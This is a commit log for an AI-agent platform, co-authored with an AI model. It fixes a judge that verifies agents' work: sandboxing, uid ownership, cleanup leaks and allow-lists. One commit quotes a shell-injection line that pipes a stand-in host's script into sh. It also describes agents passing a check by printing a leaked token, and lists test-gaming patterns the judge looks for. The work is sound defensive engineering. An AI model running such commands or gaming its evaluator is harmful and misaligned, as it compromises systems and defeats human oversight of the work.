4e342d1ff781a18c5aa4fbe14e098450a026751d
11
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Omar SobhandClaude Opus 5
|
4e342d1ff7 |
perf(judge): a command may return 64 KB, so a deliverable is read once
7 of 9 verdicts ran to the 12-check cap. The checks say why: on a research mission, 8 of 12 commands read research/REPORT.md — cat, then head -119, tail -120, sed -n 80,200p and three greps. `cat` had come back truncated at 11,983 bytes because the per-command cap was 12 KB and the report was ~18 KB, so the judge reassembled the file in slices. Five extra rounds, each resending the whole conversation, to read one deliverable. The microVM verdicts used 5–7 checks because MICROVM.md is two lines. The cap was sized for test-suite output and applied to deliverables. 64 KB now. With compact_earlier_results shrinking a result to 800 bytes after its round, one 64 KB read costs one round; the slicing it replaces cost five. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
Omar SobhandClaude Opus 5
|
bda6bef4db |
fix(evaluator): a cleanup that already succeeded is not an error
`Sandbox::purge` removes the verification copy, and then `Drop` runs
`remove_dir_all` on the path purge just deleted and prints a failure. Prod
logged it on every mission:
evaluator_tools: could not remove the verification copy at
/var/lib/clawmates-missions/_verify/01a07812-… (No such file or directory)
That is the success path reporting itself as a fault. It matters beyond
tidiness: this is the same line that carries a REAL stranded-copy error, and a
message that cries wolf once a mission is a message nobody reads the day it is
true — which is how two root-owned copies sat stranded for hours the first
time.
`NotFound` is now the expected outcome and says nothing. Every other error
still speaks.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz
|
||
|
Omar SobhandClaude Opus 5
|
dcd9514622 |
fix(exec): mission work runs as uid 65532, so it stops creating debris it cannot delete
`CreateExecOptions` never set `user`. Not a wrong value — an ABSENT one: the daemon defaults to root, and twelve callers inherited that without any of them choosing it. That single omission is the origin of four separate patches — root-owned `target/` directories inside a checkout owned by 65532, `root_copy` existing at all, and a cleanup that had to re-enter the container as root to undo its own mess. The rule is positional and lives in ONE place: an exec whose workdir is inside `missions_root()` runs as 65532; anything else (preflight probes, image checks) keeps the daemon default so unrelated call sites cannot break. Twelve callers each remembering to pass a uid is twelve chances to forget, and the one that forgets leaves debris the other eleven cannot remove. Non-root needs an environment the image does not provide. Measured in the deployed image: uid 65532's HOME (/zeroclaw-data) and /usr/local/cargo are both root-owned and unwritable, so this would otherwise break every cargo call — the benchmark runner, the judge's sandbox, the delivery test gate — far more quietly than the leak it fixes. The missions root IS bind-mounted and writable by 65532, so HOME/CARGO_HOME move there and the cargo cache is shared across missions rather than re-fetched per mission. Verified on gw-04: a clean `cargo build` as 65532 with those three variables produces output owned entirely by 65532. Root remains reachable only through `exec_as_root`, whose name says so, and which exists solely to clear debris earlier root execs left. `runtime_preflight` now probes the whole policy at boot, so an image that moves or tightens that mount fails loudly instead of failing every cargo call for a reason no error message would connect to a uid. evaluator_tools' inlined fourth copy of the purge is replaced by `root_copy::purge`. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar Sobh
|
5c5f1ced33 |
refactor: the judge's sandbox joins the other three copy sites on root_copy
Four places copy a mission checkout so a ROOT command can run against it without touching the live tree: the judge, the benchmark runner, the on_green_tests gate, and — until now — the judge again, with its own implementation predating the shared one. `evaluator_tools::Sandbox::for_checkout` now builds through `root_copy::RootCopy`. Same packer, same exclusion list, same reasoning in one place. It needs the copy to OUTLIVE the handle, because the judge has not run when `for_checkout` returns and a firing `Drop` would delete the tree out from under it. That is `into_workdir`, a method rather than a `mem::forget` at the call site: the transfer of cleanup responsibility is then visible in the type instead of implied by a leak. `Sandbox::purge` remains what actually clears it, since only a container running as root can remove the root-owned `target/`. What did NOT move: `pack_dir` in the microVM inject/collect path. That marshals a tree to and from a guest over vsock — a transport, not a host-side copy — and folding it in would merge two things that only look alike. 249 lib tests. |
||
|
Omar Sobh
|
a4b4d05b8d |
fix(evaluator): the verification sandbox leaked for the same reason the bench copy did
Found by checking `_verify` after fixing the identical bug in `_bench`: 16 MB
stranded across two copies, the oldest hours old.
`Sandbox::Drop` calls `std::fs::remove_dir_all` as uid 65532. The judge runs
`cargo test` in a container as ROOT — that is the entire point of the sandbox —
so the copy's `target/` is root-owned and the removal fails on it, leaving the
whole tree. The error was logged to a stream nobody reads, so the sandbox that
exists to protect the checkout quietly filled the disk instead.
Its doc comment also claimed "the copy lives under `_verify/<mission>`, which
the next pass clears anyway". That was wrong for exactly the same reason:
`for_checkout` removes a stale root before copying, with the same uid, and fails
the same way. A leaked copy was permanent, not transient.
`Sandbox::purge` removes it from inside the container, as root, where it was
written. `evaluate` now wraps its body so the purge runs on EVERY exit — that
function returns from several branches, and cleanup only some paths reach is the
same as no cleanup on the others. `Drop` stays as a fallback for the early paths
where nothing has run as root yet, and its comment no longer claims otherwise.
This is the third instance today of the same shape: cleanup that cannot clean up,
invisible because the failure was swallowed. The others were the leaked agent
containers in the runtime tests and the bench copy in
|
||
|
Omar SobhandClaude Opus 5
|
e2f576ec02 |
fix(evaluator): the judge verifies a COPY, never the mission's own tree
The harness's uid probe caught this the moment cross-provider validation came back: `checkout has multiple writers (uids=0,65532)`. All 63 root-owned files were under `repo/target/`. The mechanism, confirmed rather than guessed: the judge's verification sandbox execs into `clawmates-runtime`, which runs as ROOT with the missions root bind-mounted, and its workdir was the mission's LIVE checkout. So when the judge ran `cargo test` to check a condition — which is the entire point of the verifying evaluator — cargo wrote `target/` into the checkout as uid 0, in a tree otherwise owned by the server. The next phase's `cargo` would then hit permission-denied on a directory it cannot write, which is the uid-split failure class copy mode exists to eliminate. IT WAS LATENT ALL DAY. While the z.ai credential was dead the judge never ran a single check, so the uid probe kept passing; restoring the credential surfaced it on the first gated mission. A guard that only holds while a dependency is broken is not a guard, and this one was only visible because the harness measures the invariant rather than the feature. Running the checks as the checkout's uid was the obvious fix and is the wrong one: `CARGO_HOME` is root-owned 0755 in that image, so a non-root uid fails, and the evaluator treats "could not run" as unverified — trading a polluted tree for phases that fail closed for a reason unrelated to their work. So the sandbox verifies a copy, made through `mission_fs::pack_dir` so it carries exactly what the delivered diff carries (no `target/`, no `node_modules/`) — one exclusion list, three consumers. The copy lives at `_verify/<mission>`, a sibling of the swept per-mission directories, and is removed on drop. This is the rule the codebase already applies to the `verifier` subagent, which has no Edit and no Write, stated for the judge: verification must not mutate what it verifies. A judge that can change the tree it is judging can make its own verdict true. NEGATIVE CONTROL, run: pointing the sandbox back at the live checkout fails `the_judge_verifies_a_copy_and_never_the_mission_tree`. The test seam (`Sandbox::at`) is never `owned` and never deletes, so a destructive constructor cannot masquerade as a plain one. 553 tests pass, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
dd8dad2ad4 |
fix(evaluator): git ownership exception now reaches tools that call git
The argv rewrite added in
|
||
|
Omar SobhandClaude Opus 5
|
d90a42b759 |
fix: three gaps the P0 validation runs exposed
Validating P0 against production found one bug in each of the three pieces, none of which any test would have caught. **The scanners were installed but not allow-listed.** Mission 019fc058's condition asked for a gitleaks result; `gitleaks detect` came back `ran=false`, and the judge said it could not verify. P0.3 put the binaries in the image and never added them to `evaluator_tools::ALLOWED_PROGRAMS`, so the judge could not invoke the tools installed for it. Adds gitleaks, trivy, semgrep and `which`. **Every `continue` after a fire claim leaked the claim.** Introduced by the scheduler fix itself: the orphan-agent and empty-action paths skipped `complete_fire`, so the row stayed `claimed` — which reads as a crash mid-fire, meaning the routine is re-claimed forever and the table grows one stuck row per occurrence. Observed in production: five `claimed` rows, no dispatch, no `routine_runs`. Both paths now settle with a reason, and log it. **The agent writes its own identity files into the user's repository.** `workspace.path` is pinned to the repo root, so the runtime drops AGENTS.md, HEARTBEAT.md, IDENTITY.md, MEMORY.md, SOUL.md, TOOLS.md and USER.md into the checkout — SOUL.md opens "Who You Are / You're not a chatbot." Two consequences: every mission's tree is permanently dirty, so a `done_when` about a clean tree can never pass; and P1's `git add -A` would have committed the agent's SOUL.md into someone's repository and pushed it. The P1 deny-list covered build artifacts and would not have caught this. Fixed by writing the names to `.git/info/exclude` after clone — local to the checkout, never itself a change, and it suppresses only *untracked* files, so a repo that genuinely tracks its own AGENTS.md still reports modifications to it. Idempotent, and preserves any pre-existing exclude. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
491449f3ce |
fix(evaluator): git refused the checkout it was asked to verify
Found by the P0.1 verification run, which is the point of it. Mission
019fc02e's judge executed `git status` for real — and got exit 128:
fatal: detected dubious ownership in repository at
'/var/lib/clawmates-missions/019fc02e-.../repo'
The server clones as uid 65532; the runtime container the judge execs into
runs as root; git's ownership check refuses the repository. So the judge's
most direct verification tool was failing on every mission. It recovered here
by inferring a clean tree from `ls -la` and `find`, and reasoned correctly —
but that is inference from a directory listing standing in for the command
that answers the question directly.
`git` invocations now carry `-c safe.directory=<workdir>`, scoped to that one
checkout. Not `--global`: the protection exists for multi-user machines where
another user could plant a hostile `.git/config`, and disabling it container-
wide to fix one path would trade a real guarantee for convenience. Applied
per-invocation rather than baked into the image so it travels with the workdir
and cannot drift out of sync with it.
Tests cover the rewrite, that non-git commands are untouched, and that a
rewritten `git push` still fails the allow-list — the injected `-c` flags must
not become a way past validation.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
c812b714f4 |
fix(evaluator): the verification sandbox never ran a command
`evaluator_tools::Sandbox::run` shelled out to `tokio::process::Command::new
("docker")`. The server image installs `git ca-certificates chromium
fonts-liberation` and nothing else, so in production every verification
command failed to spawn.
The failure was invisible in the worst way. `Sandbox::run` deliberately turns
execution failures into evidence text rather than errors, so a judge reasons
about "that command did not run" instead of the pass collapsing. With no
`docker` binary every command returned COULD NOT RUN, the judge correctly
concluded it could not verify, and fail-closed returned "not met". The
verdicts were right. The verification never happened — and the adversarial
validation that appeared to prove the feature working proved fail-closed
working instead.
The second defect made it worse: `checks` recorded the *attempt*, pushed
before the command ran, so a verdict reached with a dead sandbox reported
"verified by 10 checks" — a stronger claim than "no checks at all", made on
weaker evidence.
- New `container_exec` routes execution through the Docker API via bollard,
which was already a dependency and already reaches the daemon through the
socket proxy. Captures the exit code (absent from the old helper) and keeps
stdout and stderr apart (`LogOutput`'s Display merged them, which is why
nothing downstream could tell JSON from a progress bar). `security_scan`
parses stdout alone; `benchmark_runner` needs both.
- `ExecOutput::success()` requires `Some(0)`. An unreadable status is not
success — `commit_policy = "on_green_tests"` will gate on this, and
"unknown" reading as "green" would push untested work.
- `Sandbox::run` returns a `CheckOutcome` carrying `ran`/`refused`/
`exit_code`. `Verdict::verified_checks()` counts executions, not attempts.
- The UI gains a third state: "could not verify (N attempted, 0 ran)" —
precisely the case that used to render as verified.
- Regression tests reproduce the production shape: two checks recorded,
neither executed, `was_verified() == false`; plus a failing suite (exit 101)
still counting as verification, because that is something the judge learned
rather than was told.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
3eb89620e7 |
feat(evaluator): verify the work instead of believing the agents
Mission 019fbb63 was judged complete on its second pass without any work being done. The condition required a literal token; pass 1's verdict said the token was missing; that text was handed to the agents verbatim; an agent printed the token. Every step behaved as designed, and the result was a phase marked done on a copy-paste. Two separate defects. **The judge could only read claims.** It now gets a checkout and one tool: `run_check`, an argv array executed by `docker exec` with no shell anywhere. That is structural — with a shell, an allow-list on the program name is decorative, since `git status; curl evil.sh | sh` passes any prefix check; without one, metacharacters are inert bytes in argv. Also: allow-listed programs, read-only git subcommands only (a judge must not be able to `git checkout` away the work it is judging), no absolute paths or `..`, a deadline, and head-and-tail output clamping so failures survive truncation. The verifying prompt is adversarial by design — it looks for tests weakened or deleted, assertions rewritten to match wrong output, values hard-coded or printed rather than produced, and success claimed with no matching git diff. Phases with no checkout keep the evidence-only prompt, which states plainly that verification is impossible there; a judge told it can check something it cannot will claim it did. **The feedback handed over the answer.** `Verdict` splits into `reason` (operator; quotes freely) and `guidance` (agents; sanitized). `sanitize_guidance` redacts identifier-shaped tokens from the condition unless the agents already produced them, so prose feedback survives and magic strings do not. `latest()` returns guidance, with a test that fails if it regresses to `reason`. The next-pass brief now also states that output which merely looks like it satisfies the check fails the pass. Redaction is the backstop; running the tests is the defence. - migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API and the UI, so an operator can see "verified by 3 checks" versus "from agent claims only" rather than having to guess which kind of verdict they have. - `complete_direct` deleted — `judge_with_tools` covers the no-tools case. - 23 evaluator tests, including the incident replayed as a regression. Co-Authored-By: Claude Opus 5 <[email protected]> |